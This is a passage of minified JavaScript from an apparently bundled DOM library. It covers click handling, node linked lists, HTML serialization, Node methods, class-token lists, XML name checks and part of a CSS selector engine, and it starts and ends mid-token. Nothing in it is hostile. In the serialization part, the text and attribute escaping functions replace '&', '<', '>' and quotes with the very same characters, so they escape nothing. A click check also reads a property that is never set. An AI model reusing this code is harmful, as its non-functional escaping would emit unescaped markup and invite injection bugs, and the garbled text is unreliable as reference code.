YN2)switch(K.type){case"mousedown":this._armed={x:K.clientX,y:K.clientY,t:K.timeStamp};break;case"mouseout":case"mouseover":this._armed=null;break;case"mouseup":if(this._isClick(K))this._doClick(K);this._armed=null;break}return!K.defaultPrevented},_isClick:function(A){return this._armed!==null&&A.type==="mouseup"&&A.isTrusted&&A.button===0&&A.timeStamp-this._armed.t<1000&&Math.abs(A.clientX-this._armed.x)<10&&Math.abs(A.clientY-this._armed.Y)<10},_doClick:function(A){if(this._click_in_progress)return;this._click_in_progress=!0;var K=this;while(K&&!K._post_click_activation_steps)K=K.parentNode;if(K&&K._pre_click_activation_steps)K._pre_click_activation_steps();var q=this.ownerDocument.createEvent("MouseEvent");q.initMouseEvent("click",!0,!0,this.ownerDocument.defaultView,1,A.screenX,A.screenY,A.clientX,A.clientY,A.ctrlKey,A.altKey,A.shiftKey,A.metaKey,A.button,null);var Y=this._dispatchEvent(q,!0);if(K){if(Y){if(K._post_click_activation_steps)K._post_click_activation_steps(q)}else if(K._cancelled_activation_steps)K._cancelled_activation_steps()}},_setEventHandler:function(K,q){if(!this._handlers)this._handlers=Object.create(null);this._handlers[K]=q},_getEventHandler:function(K){return this._handlers&&this._handlers[K]||null}}});var jh6=v((RtH,X3K)=>{var xd=P0(),VL=X3K.exports={valid:function(A){return xd.assert(A,"list falsy"),xd.assert(A._previousSibling,"previous falsy"),xd.assert(A._nextSibling,"next falsy"),!0},insertBefore:function(A,K){xd.assert(VL.valid(A)&&VL.valid(K));var q=A,Y=A._previousSibling,z=K,w=K._previousSibling;q._previousSibling=w,Y._nextSibling=z,w._nextSibling=q,z._previousSibling=Y,xd.assert(VL.valid(A)&&VL.valid(K))},replace:function(A,K){if(xd.assert(VL.valid(A)&&(K===null||VL.valid(K))),K!==null)VL.insertBefore(K,A);VL.remove(A),xd.assert(VL.valid(A)&&(K===null||VL.valid(K)))},remove:function(A){xd.assert(VL.valid(A));var K=A._previousSibling;if(K===A)return;var q=A._nextSibling;K._nextSibling=q,q._previousSibling=K,A._previousSibling=A._nextSibling=A,xd.assert(VL.valid(A))}}});var Mh6=v((ytH,M3K)=>{M3K.exports={serializeOne:_N2,ɵescapeMatchingClosingTag:W3K,ɵescapeClosingCommentTag:D3K,ɵescapeProcessingInstructionContent:j3K};var Z3K=P0(),e3A=Z3K.NAMESPACE,$3K={STYLE:!0,SCRIPT:!0,XMP:!0,IFRAME:!0,NOEMBED:!0,NOFRAMES:!0,PLAINTEXT:!0},wN2={area:!0,base:!0,basefont:!0,bgsound:!0,br:!0,col:!0,embed:!0,frame:!0,hr:!0,img:!0,input:!0,keygen:!0,link:!0,meta:!0,param:!0,source:!0,track:!0,wbr:!0},HN2={},_3K=/[&<>\u00A0]/g,G3K=/[&"<>\u00A0]/g;function JN2(A){if(!_3K.test(A))return A;return A.replace(_3K,(K)=>{switch(K){case"&":return"&";case"<":return"<";case">":return">";case" ":return" "}})}function ON2(A){if(!G3K.test(A))return A;return A.replace(G3K,(K)=>{switch(K){case"<":return"<";case">":return">";case"&":return"&";case'"':return""";case" ":return" "}})}function XN2(A){var K=A.namespaceURI;if(!K)return A.localName;if(K===e3A.XML)return"xml:"+A.localName;if(K===e3A.XLINK)return"xlink:"+A.localName;if(K===e3A.XMLNS)if(A.localName==="xmlns")return"xmlns";else return"xmlns:"+A.localName;return A.name}function W3K(A,K){let q="</"+K;if(!A.toLowerCase().includes(q))return A;let Y=[...A],z=A.matchAll(new RegExp(q,"ig"));for(let w of z)Y[w.index]="<";return Y.join("")}var $N2=/--!?>/;function D3K(A){if(!$N2.test(A))return A;return A.replace(/(--\!?)>/g,"$1>")}function j3K(A){return A.includes(">")?A.replaceAll(">",">"):A}function _N2(A,K){var q="";switch(A.nodeType){case 1:var Y=A.namespaceURI,z=Y===e3A.HTML,w=z||Y===e3A.SVG||Y===e3A.MATHML?A.localName:A.tagName;q+="<"+w;for(var H=0,J=A._numattrs;H<J;H++){var O=A._attr(H);if(q+=" "+XN2(O),O.value!==void 0)q+='="'+ON2(O.value)+'"'}if(q+=">",!(z&&wN2[w])){var X=A.serialize();if($3K[w.toUpperCase()])X=W3K(X,w);if(z&&HN2[w]&&X.charAt(0)===` `)q+=` `;q+=X,q+="</"+w+">"}break;case 3:case 4:var $;if(K.nodeType===1&&K.namespaceURI===e3A.HTML)$=K.tagName;else $="";if($3K[$]||$==="NOSCRIPT"&&K.ownerDocument._scripting_enabled)q+=A.data;else q+=JN2(A.data);break;case 8:q+="<!--"+D3K(A.data)+"-->";break;case 7:let _=j3K(A.data);q+="<?"+A.target+" "+_+"?>";break;case 10:q+="<!DOCTYPE "+A.name,q+=">";break;default:Z3K.InvalidStateError()}return q}});var RW=v((ItH,v3K)=>{v3K.exports=BJ;var T3K=Dh6(),mV1=jh6(),P3K=Mh6(),V2=P0();function BJ(){T3K.call(this),this.parentNode=null,this._nextSibling=this._previousSibling=this,this._index=void 0}var ef=BJ.ELEMENT_NODE=1,Ph6=BJ.ATTRIBUTE_NODE=2,gV1=BJ.TEXT_NODE=3,GN2=BJ.CDATA_SECTION_NODE=4,ZN2=BJ.ENTITY_REFERENCE_NODE=5,Vh6=BJ.ENTITY_NODE=6,V3K=BJ.PROCESSING_INSTRUCTION_NODE=7,f3K=BJ.COMMENT_NODE=8,jUA=BJ.DOCUMENT_NODE=9,fL=BJ.DOCUMENT_TYPE_NODE=10,at=BJ.DOCUMENT_FRAGMENT_NODE=11,fh6=BJ.NOTATION_NODE=12,Nh6=BJ.DOCUMENT_POSITION_DISCONNECTED=1,Th6=BJ.DOCUMENT_POSITION_PRECEDING=2,vh6=BJ.DOCUMENT_POSITION_FOLLOWING=4,N3K=BJ.DOCUMENT_POSITION_CONTAINS=8,Eh6=BJ.DOCUMENT_POSITION_CONTAINED_BY=16,kh6=BJ.DOCUMENT_POSITION_IMPLEMENTATION_SPECIFIC=32;BJ.prototype=Object.create(T3K.prototype,{baseURI:{get:V2.nyi},parentElement:{get:function(){return this.parentNode&&this.parentNode.nodeType===ef?this.parentNode:null}},hasChildNodes:{value:V2.shouldOverride},firstChild:{get:V2.shouldOverride},lastChild:{get:V2.shouldOverride},isConnected:{get:function(){let A=this;while(A!=null){if(A.nodeType===BJ.DOCUMENT_NODE)return!0;if(A=A.parentNode,A!=null&&A.nodeType===BJ.DOCUMENT_FRAGMENT_NODE)A=A.host}return!1}},previousSibling:{get:function(){var A=this.parentNode;if(!A)return null;if(this===A.firstChild)return null;return this._previousSibling}},nextSibling:{get:function(){var A=this.parentNode,K=this._nextSibling;if(!A)return null;if(K===A.firstChild)return null;return K}},textContent:{get:function(){return null},set:function(A){}},innerText:{get:function(){return null},set:function(A){}},_countChildrenOfType:{value:function(A){var K=0;for(var q=this.firstChild;q!==null;q=q.nextSibling)if(q.nodeType===A)K++;return K}},_ensureInsertValid:{value:function(K,q,Y){var z=this,w,H;if(!K.nodeType)throw TypeError("not a node");switch(z.nodeType){case jUA:case at:case ef:break;default:V2.HierarchyRequestError()}if(K.isAncestor(z))V2.HierarchyRequestError();if(q!==null||!Y){if(q.parentNode!==z)V2.NotFoundError()}switch(K.nodeType){case at:case fL:case ef:case gV1:case V3K:case f3K:break;default:V2.HierarchyRequestError()}if(z.nodeType===jUA)switch(K.nodeType){case gV1:V2.HierarchyRequestError();break;case at:if(K._countChildrenOfType(gV1)>0)V2.HierarchyRequestError();switch(K._countChildrenOfType(ef)){case 0:break;case 1:if(q!==null){if(Y&&q.nodeType===fL)V2.HierarchyRequestError();for(H=q.nextSibling;H!==null;H=H.nextSibling)if(H.nodeType===fL)V2.HierarchyRequestError()}if(w=z._countChildrenOfType(ef),Y){if(w>0)V2.HierarchyRequestError()}else if(w>1||w===1&&q.nodeType!==ef)V2.HierarchyRequestError();break;default:V2.HierarchyRequestError()}break;case ef:if(q!==null){if(Y&&q.nodeType===fL)V2.HierarchyRequestError();for(H=q.nextSibling;H!==null;H=H.nextSibling)if(H.nodeType===fL)V2.HierarchyRequestError()}if(w=z._countChildrenOfType(ef),Y){if(w>0)V2.HierarchyRequestError()}else if(w>1||w===1&&q.nodeType!==ef)V2.HierarchyRequestError();break;case fL:if(q===null){if(z._countChildrenOfType(ef))V2.HierarchyRequestError()}else for(H=z.firstChild;H!==null;H=H.nextSibling){if(H===q)break;if(H.nodeType===ef)V2.HierarchyRequestError()}if(w=z._countChildrenOfType(fL),Y){if(w>0)V2.HierarchyRequestError()}else if(w>1||w===1&&q.nodeType!==fL)V2.HierarchyRequestError();break}else if(K.nodeType===fL)V2.HierarchyRequestError()}},insertBefore:{value:function(K,q){var Y=this;Y._ensureInsertValid(K,q,!0);var z=q;if(z===K)z=K.nextSibling;return Y.doc.adoptNode(K),K._insertOrReplace(Y,z,!1),K}},appendChild:{value:function(A){return this.insertBefore(A,null)}},_appendChild:{value:function(A){A._insertOrReplace(this,null,!1)}},removeChild:{value:function(K){var q=this;if(!K.nodeType)throw TypeError("not a node");if(K.parentNode!==q)V2.NotFoundError();return K.remove(),K}},replaceChild:{value:function(K,q){var Y=this;if(Y._ensureInsertValid(K,q,!1),K.doc!==Y.doc)Y.doc.adoptNode(K);return K._insertOrReplace(Y,q,!0),q}},contains:{value:function(K){if(K===null)return!1;if(this===K)return!0;return(this.compareDocumentPosition(K)&Eh6)!==0}},compareDocumentPosition:{value:function(K){if(this===K)return 0;if(this.doc!==K.doc||this.rooted!==K.rooted)return Nh6+kh6;var q=[],Y=[];for(var z=this;z!==null;z=z.parentNode)q.push(z);for(z=K;z!==null;z=z.parentNode)Y.push(z);if(q.reverse(),Y.reverse(),q[0]!==Y[0])return Nh6+kh6;z=Math.min(q.length,Y.length);for(var w=1;w<z;w++)if(q[w]!==Y[w])if(q[w].index<Y[w].index)return vh6;else return Th6;if(q.length<Y.length)return vh6+Eh6;else return Th6+N3K}},isSameNode:{value:function(K){return this===K}},isEqualNode:{value:function(K){if(!K)return!1;if(K.nodeType!==this.nodeType)return!1;if(!this.isEqual(K))return!1;for(var q=this.firstChild,Y=K.firstChild;q&&Y;q=q.nextSibling,Y=Y.nextSibling)if(!q.isEqualNode(Y))return!1;return q===null&&Y===null}},cloneNode:{value:function(A){var K=this.clone();if(A)for(var q=this.firstChild;q!==null;q=q.nextSibling)K._appendChild(q.cloneNode(!0));return K}},lookupPrefix:{value:function(K){var q;if(K===""||K===null||K===void 0)return null;switch(this.nodeType){case ef:return this._lookupNamespacePrefix(K,this);case jUA:return q=this.documentElement,q?q.lookupPrefix(K):null;case Vh6:case fh6:case at:case fL:return null;case Ph6:return q=this.ownerElement,q?q.lookupPrefix(K):null;default:return q=this.parentElement,q?q.lookupPrefix(K):null}}},lookupNamespaceURI:{value:function(K){if(K===""||K===void 0)K=null;var q;switch(this.nodeType){case ef:return V2.shouldOverride();case jUA:return q=this.documentElement,q?q.lookupNamespaceURI(K):null;case Vh6:case fh6:case fL:case at:return null;case Ph6:return q=this.ownerElement,q?q.lookupNamespaceURI(K):null;default:return q=this.parentElement,q?q.lookupNamespaceURI(K):null}}},isDefaultNamespace:{value:function(K){if(K===""||K===void 0)K=null;var q=this.lookupNamespaceURI(null);return q===K}},index:{get:function(){var A=this.parentNode;if(this===A.firstChild)return 0;var K=A.childNodes;if(this._index===void 0||K[this._index]!==this){for(var q=0;q<K.length;q++)K[q]._index=q;V2.assert(K[this._index]===this)}return this._index}},isAncestor:{value:function(A){if(this.doc!==A.doc)return!1;if(this.rooted!==A.rooted)return!1;for(var K=A;K;K=K.parentNode)if(K===this)return!0;return!1}},ensureSameDoc:{value:function(A){if(A.ownerDocument===null)A.ownerDocument=this.doc;else if(A.ownerDocument!==this.doc)V2.WrongDocumentError()}},removeChildren:{value:V2.shouldOverride},_insertOrReplace:{value:function(K,q,Y){var z=this,w,H;if(z.nodeType===at&&z.rooted)V2.HierarchyRequestError();if(K._childNodes){if(w=q===null?K._childNodes.length:q.index,z.parentNode===K){var J=z.index;if(J<w)w--}}if(Y){if(q.rooted)q.doc.mutateRemove(q);q.parentNode=null}var O=q;if(O===null)O=K.firstChild;var X=z.rooted&&K.rooted;if(z.nodeType===at){var $=[0,Y?1:0],_;for(var G=z.firstChild;G!==null;G=_)_=G.nextSibling,$.push(G),G.parentNode=K;var Z=$.length;if(Y)mV1.replace(O,Z>2?$[2]:null);else if(Z>2&&O!==null)mV1.insertBefore($[2],O);if(K._childNodes){$[0]=q===null?K._childNodes.length:q._index,K._childNodes.splice.apply(K._childNodes,$);for(H=2;H<Z;H++)$[H]._index=$[0]+(H-2)}else if(K._firstChild===q){if(Z>2)K._firstChild=$[2];else if(Y)K._firstChild=null}if(z._childNodes)z._childNodes.length=0;else z._firstChild=null;if(K.rooted){K.modify();for(H=2;H<Z;H++)K.doc.mutateInsert($[H])}}else{if(q===z)return;if(X)z._remove();else if(z.parentNode)z.remove();if(z.parentNode=K,Y){if(mV1.replace(O,z),K._childNodes)z._index=w,K._childNodes[w]=z;else if(K._firstChild===q)K._firstChild=z}else{if(O!==null)mV1.insertBefore(z,O);if(K._childNodes)z._index=w,K._childNodes.splice(w,0,z);else if(K._firstChild===q)K._firstChild=z}if(X)K.modify(),K.doc.mutateMove(z);else if(K.rooted)K.modify(),K.doc.mutateInsert(z)}}},lastModTime:{get:function(){if(!this._lastModTime)this._lastModTime=this.doc.modclock;return this._lastModTime}},modify:{value:function(){if(this.doc.modclock){var A=++this.doc.modclock;for(var K=this;K;K=K.parentElement)if(K._lastModTime)K._lastModTime=A}}},doc:{get:function(){return this.ownerDocument||this}},rooted:{get:function(){return!!this._nid}},normalize:{value:function(){var A;for(var K=this.firstChild;K!==null;K=A){if(A=K.nextSibling,K.normalize)K.normalize();if(K.nodeType!==BJ.TEXT_NODE)continue;if(K.nodeValue===""){this.removeChild(K);continue}var q=K.previousSibling;if(q===null)continue;else if(q.nodeType===BJ.TEXT_NODE)q.appendData(K.nodeValue),this.removeChild(K)}}},serialize:{value:function(){if(this._innerHTML)return this._innerHTML;var A="";for(var K=this.firstChild;K!==null;K=K.nextSibling)A+=P3K.serializeOne(K,this);return A}},outerHTML:{get:function(){return P3K.serializeOne(this,{nodeType:0})},set:V2.nyi},ELEMENT_NODE:{value:ef},ATTRIBUTE_NODE:{value:Ph6},TEXT_NODE:{value:gV1},CDATA_SECTION_NODE:{value:GN2},ENTITY_REFERENCE_NODE:{value:ZN2},ENTITY_NODE:{value:Vh6},PROCESSING_INSTRUCTION_NODE:{value:V3K},COMMENT_NODE:{value:f3K},DOCUMENT_NODE:{value:jUA},DOCUMENT_TYPE_NODE:{value:fL},DOCUMENT_FRAGMENT_NODE:{value:at},NOTATION_NODE:{value:fh6},DOCUMENT_POSITION_DISCONNECTED:{value:Nh6},DOCUMENT_POSITION_PRECEDING:{value:Th6},DOCUMENT_POSITION_FOLLOWING:{value:vh6},DOCUMENT_POSITION_CONTAINS:{value:N3K},DOCUMENT_POSITION_CONTAINED_BY:{value:Eh6},DOCUMENT_POSITION_IMPLEMENTATION_SPECIFIC:{value:kh6}})});var k3K=v((StH,E3K)=>{E3K.exports=class extends Array{constructor(K){super(K&&K.length||0);if(K)for(var q in K)this[q]=K[q]}item(K){return this[K]||null}}});var L3K=v((htH,C3K)=>{function WN2(A){return this[A]||null}function DN2(A){if(!A)A=[];return A.item=WN2,A}C3K.exports=DN2});var A9A=v((btH,R3K)=>{var Ch6;try{Ch6=k3K()}catch(A){Ch6=L3K()}R3K.exports=Ch6});var FV1=v((xtH,S3K)=>{S3K.exports=I3K;var y3K=RW(),jN2=A9A();function I3K(){y3K.call(this),this._firstChild=this._childNodes=null}I3K.prototype=Object.create(y3K.prototype,{hasChildNodes:{value:function(){if(this._childNodes)return this._childNodes.length>0;return this._firstChild!==null}},childNodes:{get:function(){return this._ensureChildNodes(),this._childNodes}},firstChild:{get:function(){if(this._childNodes)return this._childNodes.length===0?null:this._childNodes[0];return this._firstChild}},lastChild:{get:function(){var A=this._childNodes,K;if(A)return A.length===0?null:A[A.length-1];if(K=this._firstChild,K===null)return null;return K._previousSibling}},_ensureChildNodes:{value:function(){if(this._childNodes)return;var A=this._firstChild,K=A,q=this._childNodes=new jN2;if(A)do q.push(K),K=K._nextSibling;while(K!==A);this._firstChild=null}},removeChildren:{value:function(){var K=this.rooted?this.ownerDocument:null,q=this.firstChild,Y;while(q!==null){if(Y=q,q=Y.nextSibling,K)K.mutateRemove(Y);Y.parentNode=null}if(this._childNodes)this._childNodes.length=0;else this._firstChild=null;this.modify()}}})});var QV1=v((kN2)=>{kN2.isValidName=vN2;kN2.isValidQName=EN2;var MN2=/^[_:A-Za-z][-.:\w]+$/,PN2=/^([_A-Za-z][-.\w]+|[_A-Za-z][-.\w]+:[_A-Za-z][-.\w]+)$/,MUA="_A-Za-zÀ-ÖØ-öø-˿Ͱ-ͽͿ--⁰-Ⰰ-、-豈-﷏ﷰ-�",PUA="-._A-Za-z0-9·À-ÖØ-öø-˿̀-ͽͿ-‿⁀⁰-Ⰰ-、-豈-﷏ﷰ-�",K9A="["+MUA+"]["+PUA+"]*",Lh6=MUA+":",Rh6=PUA+":",VN2=new RegExp("^["+Lh6+"]["+Rh6+"]*$"),fN2=new RegExp("^("+K9A+"|"+K9A+":"+K9A+")$"),h3K=/[\uD800-\uDB7F\uDC00-\uDFFF]/,b3K=/[\uD800-\uDB7F\uDC00-\uDFFF]/g,x3K=/[\uD800-\uDB7F][\uDC00-\uDFFF]/g;MUA+="\uD800-\uDB7F\uDC00-\uDFFF";PUA+="\uD800-\uDB7F\uDC00-\uDFFF";K9A="["+MUA+"]["+PUA+"]*";Lh6=MUA+":";Rh6=PUA+":";var NN2=new RegExp("^["+Lh6+"]["+Rh6+"]*$"),TN2=new RegExp("^("+K9A+"|"+K9A+":"+K9A+")$");function vN2(A){if(MN2.test(A))return!0;if(VN2.test(A))return!0;if(!h3K.test(A))return!1;if(!NN2.test(A))return!1;var K=A.match(b3K),q=A.match(x3K);return q!==null&&2*q.length===K.length}function EN2(A){if(PN2.test(A))return!0;if(fN2.test(A))return!0;if(!h3K.test(A))return!1;if(!TN2.test(A))return!1;var K=A.match(b3K),q=A.match(x3K);return q!==null&&2*q.length===K.length}});var yh6=v((yN2)=>{var u3K=P0();yN2.property=function(A){if(Array.isArray(A.type)){var K=Object.create(null);A.type.forEach(function(z){K[z.value||z]=z.alias||z});var q=A.missing;if(q===void 0)q=null;var Y=A.invalid;if(Y===void 0)Y=q;return{get:function(){var z=this._getattr(A.name);if(z===null)return q;if(z=K[z.toLowerCase()],z!==void 0)return z;if(Y!==null)return Y;return z},set:function(z){this._setattr(A.name,z)}}}else if(A.type===Boolean)return{get:function(){return this.hasAttribute(A.name)},set:function(z){if(z)this._setattr(A.name,"");else this.removeAttribute(A.name)}};else if(A.type===Number||A.type==="long"||A.type==="unsigned long"||A.type==="limited unsigned long with fallback")return RN2(A);else if(!A.type||A.type===String)return{get:function(){return this._getattr(A.name)||""},set:function(z){if(A.treatNullAsEmptyString&&z===null)z="";this._setattr(A.name,z)}};else if(typeof A.type==="function")return A.type(A.name,A);throw Error("Invalid attribute definition")};function RN2(A){var K;if(typeof A.default==="function")K=A.default;else if(typeof A.default==="number")K=function(){return A.default};else K=function(){u3K.assert(!1,typeof A.default)};var q=A.type==="unsigned long",Y=A.type==="long",z=A.type==="limited unsigned long with fallback",w=A.min,H=A.max,J=A.setmin;if(w===void 0){if(q)w=0;if(Y)w=-2147483648;if(z)w=1}if(H===void 0){if(q||Y||z)H=2147483647}return{get:function(){var O=this._getattr(A.name),X=A.float?parseFloat(O):parseInt(O,10);if(O===null||!isFinite(X)||w!==void 0&&X<w||H!==void 0&&X>H)return K.call(this);if(q||Y||z){if(!/^[ \t\n\f\r]*[-+]?[0-9]/.test(O))return K.call(this);X=X|0}return X},set:function(O){if(!A.float)O=Math.floor(O);if(J!==void 0&&O<J)u3K.IndexSizeError(A.name+" set to "+O);if(q)O=O<0||O>2147483647?K.call(this):O|0;else if(z)O=O<1||O>2147483647?K.call(this):O|0;else if(Y)O=O<-2147483648||O>2147483647?K.call(this):O|0;this._setattr(A.name,String(O))}}}yN2.registerChangeHandler=function(A,K,q){var Y=A.prototype;if(!Object.prototype.hasOwnProperty.call(Y,"_attributeChangeHandlers"))Y._attributeChangeHandlers=Object.create(Y._attributeChangeHandlers||null);Y._attributeChangeHandlers[K]=q}});var g3K=v((mtH,m3K)=>{m3K.exports=B3K;var hN2=RW();function B3K(A,K){this.root=A,this.filter=K,this.lastModTime=A.lastModTime,this.done=!1,this.cache=[],this.traverse()}B3K.prototype=Object.create(Object.prototype,{length:{get:function(){if(this.checkcache(),!this.done)this.traverse();return this.cache.length}},item:{value:function(A){if(this.checkcache(),!this.done&&A>=this.cache.length)this.traverse();return this.cache[A]}},checkcache:{value:function(){if(this.lastModTime!==this.root.lastModTime){for(var A=this.cache.length-1;A>=0;A--)this[A]=void 0;this.cache.length=0,this.done=!1,this.lastModTime=this.root.lastModTime}}},traverse:{value:function(A){if(A!==void 0)A++;var K;while((K=this.next())!==null)if(this[this.cache.length]=K,this.cache.push(K),A&&this.cache.length===A)return;this.done=!0}},next:{value:function(){var A=this.cache.length===0?this.root:this.cache[this.cache.length-1],K;if(A.nodeType===hN2.DOCUMENT_NODE)K=A.documentElement;else K=A.nextElement(this.root);while(K){if(this.filter(K))return K;K=K.nextElement(this.root)}return null}}})});var Sh6=v((gtH,U3K)=>{var Ih6=P0();U3K.exports=Q3K;function Q3K(A,K){this._getString=A,this._setString=K,this._length=0,this._lastStringValue="",this._update()}Object.defineProperties(Q3K.prototype,{length:{get:function(){return this._length}},item:{value:function(A){var K=xMA(this);if(A<0||A>=K.length)return null;return K[A]}},contains:{value:function(A){A=String(A);var K=xMA(this);return K.indexOf(A)>-1}},add:{value:function(){var A=xMA(this);for(var K=0,q=arguments.length;K<q;K++){var Y=VUA(arguments[K]);if(A.indexOf(Y)<0)A.push(Y)}this._update(A)}},remove:{value:function(){var A=xMA(this);for(var K=0,q=arguments.length;K<q;K++){var Y=VUA(arguments[K]),z=A.indexOf(Y);if(z>-1)A.splice(z,1)}this._update(A)}},toggle:{value:function(K,q){if(K=VUA(K),this.contains(K)){if(q===void 0||q===!1)return this.remove(K),!1;return!0}else{if(q===void 0||q===!0)return this.add(K),!0;return!1}}},replace:{value:function(K,q){if(String(q)==="")Ih6.SyntaxError();K=VUA(K),q=VUA(q);var Y=xMA(this),z=Y.indexOf(K);if(z<0)return!1;var w=Y.indexOf(q);if(w<0)Y[z]=q;else if(z<w)Y[z]=q,Y.splice(w,1);else Y.splice(z,1);return this._update(Y),!0}},toString:{value:function(){return this._getString()}},value:{get:function(){return this._getString()},set:function(A){this._setString(A),this._update()}},_update:{value:function(A){if(A)F3K(this,A),this._setString(A.join(" ").trim());else F3K(this,xMA(this));this._lastStringValue=this._getString()}}});function F3K(A,K){var q=A._length,Y;A._length=K.length;for(Y=0;Y<K.length;Y++)A[Y]=K[Y];for(;Y<q;Y++)A[Y]=void 0}function VUA(A){if(A=String(A),A==="")Ih6.SyntaxError();if(/[ \t\r\n\f]/.test(A))Ih6.InvalidCharacterError();return A}function bN2(A){var K=A._length,q=Array(K);for(var Y=0;Y<K;Y++)q[Y]=A[Y];return q}function xMA(A){var K=A._getString();if(K===A._lastStringValue)return bN2(A);var q=K.replace(/(^[ \t\r\n\f]+)|([ \t\r\n\f]+$)/g,"");if(q==="")return[];else{var Y=Object.create(null);return q.split(/[ \t\r\n\f]+/g).filter(function(z){var w="$"+z;if(Y[w])return!1;return Y[w]=!0,!0})}}});var cV1=v((mMA,n3K)=>{var UV1=Object.create(null,{location:{get:function(){throw Error("window.location is not supported.")}}}),xN2=function(A,K){return A.compareDocumentPosition(K)},uN2=function(A,K){return xN2(A,K)&2?1:-1},dV1=function(A){while((A=A.nextSibling)&&A.nodeType!==1);return A},BMA=function(A){while((A=A.previousSibling)&&A.nodeType!==1);return A},BN2=function(A){if(A=A.firstChild)while(A.nodeType!==1&&(A=A.nextSibling));return A},mN2=function(A){if(A=A.lastChild)while(A.nodeType!==1&&(A=A.previousSibling));return A},uMA=function(A){if(!A.parentNode)return!1;var K=A.parentNode.nodeType;return K===1||K===9},p3K=function(A){if(!A)return A;var K=A[0];if(K==='"'||K==="'"){if(A[A.length-1]===K)A=A.slice(1,-1);else A=A.slice(1);return A.replace(Bq.str_escape,function(q){var Y=/^\\(?:([0-9A-Fa-f]+)|([\r\n\f]+))/.exec(q);if(!Y)return q.slice(1);if(Y[2])return"";var z=parseInt(Y[1],16);return String.fromCodePoint?String.fromCodePoint(z):String.fromCharCode(z)})}else if(Bq.ident.test(A))return st(A);else return A},st=function(A){return A.replace(Bq.escape,function(K){var q=/^\\([0-9A-Fa-f]+)/.exec(K);if(!q)return K[1];var Y=parseInt(q[1],16);return String.fromCodePoint?String.fromCodePoint(Y):String.fromCharCode(Y)})},gN2=function(){if(Array.prototype.indexOf)return Array.prototype.indexOf;return function(A,K){var q=this.length;while(q--)if(this[q]===K)return q;return-1}}(),c3K=function(A,K){var q=Bq.inside.source.replace(/</g,A).replace(/>/g,K);return new RegExp(q)},AN=function(A,K,q){return A=A.source,A=A.replace(K,q.source||q),new RegExp(A)},d3K=function(A,K){return A.replace(/^(?:\w+:\/\/|\/+)/,"").replace(/(?:\/+|\/*#.*?)$/,"").split("/",K).join("/")},FN2=function(A,K){var q=A.replace(/\s+/g,""),Y;if(q==="even")q="2n+0";else if(q==="odd")q="2n+1";else if(q.indexOf("n")===-1)q="0n"+q;return Y=/^([+-])?(\d+)?n([+-])?(\d+)?$/.exec(q),{group:Y[1]==="-"?-(Y[2]||1):+(Y[2]||1),offset:Y[4]?Y[3]==="-"?-Y[4]:+Y[4]:0}},hh6=function(A,K,q){var Y=FN2(A),z=Y.group,w=Y.offset,H=!q?BN2:mN2,J=!q?dV1:BMA;return function(O){if(!uMA(O))return;var X=H(O.parentNode),$=0;while(X){if(K(X,O))$++;if(X===O)return $-=w,z&&$?$%z===0&&$<0===z<0:!$;X=J(X)}}},rG={"*":function(){return function(){return!0}}(),type:function(A){return A=A.toLowerCase(),function(K){return K.nodeName.toLowerCase()===A}},attr:function(A,K,q,Y){return K=l3K[K],function(z){var w;switch(A){case"for":w=z.htmlFor;break;case"class":if(w=z.className,w===""&&z.getAttribute("class")==null)w=null;break;case"href":case"src":w=z.getAttribute(A,2);break;case"title":w=z.getAttribute("title")||null;break;case"id":case"lang":case"dir":case"accessKey":case"hidden":case"tabIndex":case"style":if(z.getAttribute){w=z.getAttribute(A);break}default:if(z.hasAttribute&&!z.hasAttribute(A))break;w=z[A]!=null?z[A]:z.getAttribute&&z.getAttribute(A);break}if(w==null)return;if(w=w+"",Y)w=w.toLowerCase(),q=q.toLowerCase();return K(w,q)}},":first-child":function(A){return!BMA(A)&&uMA(A)},":last-child":function(A){return!dV1(A)&&uMA(A)},":only-child":function(A){return!BMA(A)&&!dV1(A)&&uMA(A)},":nth-child":function(A,K){return hh6(A,function(){return!0},K)},":nth-last-child":function(A){return rG[":nth-child"](A,!0)},":root":function(A){return A.ownerDocument.documentElement===A},":empty":function(A){return!A.firstChild},":not":function(A){var K=xh6(A);return function(q){return!K(q)}},":first-of-type":function(A){if(!uMA(A))return;var K=A.nodeName;while(A=BMA(A))if(A.nodeName===K)return;return!0},":last-of-type":function(A){if(!uMA(A))return;var K=A.nodeName;while(A=dV1(A))if(A.nodeName===K)return;return!0},":only-of-type":function(A){return rG[":first-of-type"](A)&&rG[":last-of-type"](A)},":nth-of-type":function(A,K){return hh6(A,function(q,Y){return q.nodeName===Y.nodeName},K)},":nth-last-of-type":function(A){return rG[":nth-of-type"](A,!0)},":checked":function(A){return!!(A.checked||A.selected)},":indeterminate":function(A){return!rG[":checked"](A)},":enabled":function(A){return!A.disabled&&A.type!=="hidden"},":disabled":function(A){return!!A.disabled},":target":function(A){return A.id===UV1.location.hash.substring(1)},":focus":function(A){return A===A.ownerDocument.activeElement},":is":function(A){return xh6(A)},":matches":function(A){return rG[":is"](A)},":nth-match":function(A,K){var q=A.split(/\s*,\s*/),Y=q.shift(),z=xh6(q.join(","));return hh6(Y,z,K)},":nth-last-match":function(A){return rG[":nth-match"](A,!0)},":links-here":function(A){return A+""===UV1.location+""},":lang":function(A){return function(K){while(K){if(K.lang)return K.lang.indexOf(A)===0;K=K.parentNode}}},":dir":function(A){return function(K){while(K){if(K.dir)return K.dir===A;K=K.parentNode}}},":scope":function(A,K){var q=K||A.ownerDocument;if(q.nodeType===9)return A===q.documentElement;return A===q},":any-link":function(A){return typeof A.href==="string"},":local-link":function(A){if(A.nodeName)return A.href&&A.host===UV1.location.host;var K=+A+1;return function(q){if(!q.href)return;var Y=UV1.location+"",z=q+"";return d3K(Y,K)===d3K(z,K)}},":default":function(A){return!!A.defaultSelected},":valid":function(A){return A.willValidate||A.validity&&A.validity.valid},":invalid":function(A){return!rG[":valid"](A)},":in-range":function(A){return A.value>A.min&&A.value<=A.max},":out-of-range":function(A){return!rG[":in-range"](A)},":required":function(A){return!!A.required},":optional":function(A){return!A.required},":read-only":function(A){if(A.readOnly)return!0;var K=A.getAttribute("contenteditable"),q=A.contentEditable,Y=A.nodeName.toLowerCase();return Y=Y!=="input"&&Y!=="textarea",(Y||A.disabled)&&K==null&&q!=="true"},":read-write":function(A){return!rG[":read-only"](A)},":hover":function(){throw Error(":hover is not supported.")},":active":function(){throw Error(":active is not supported.")},":link":function(){throw Error(":link is not supported.")},":visited":function(){throw Error(":visited is not supported.")},":column":function(){throw Error(":column is not supported.")},":nth-column":function(){throw Error(":nth-column is not supported.")},":nth-last-column":function(){throw Error(":nth-last-column is not supported.")},":current":function(){throw Error(":current is not supported.")},":past":function(){throw Error(":past is not supported.")},":future":function(){throw Error(":future is not 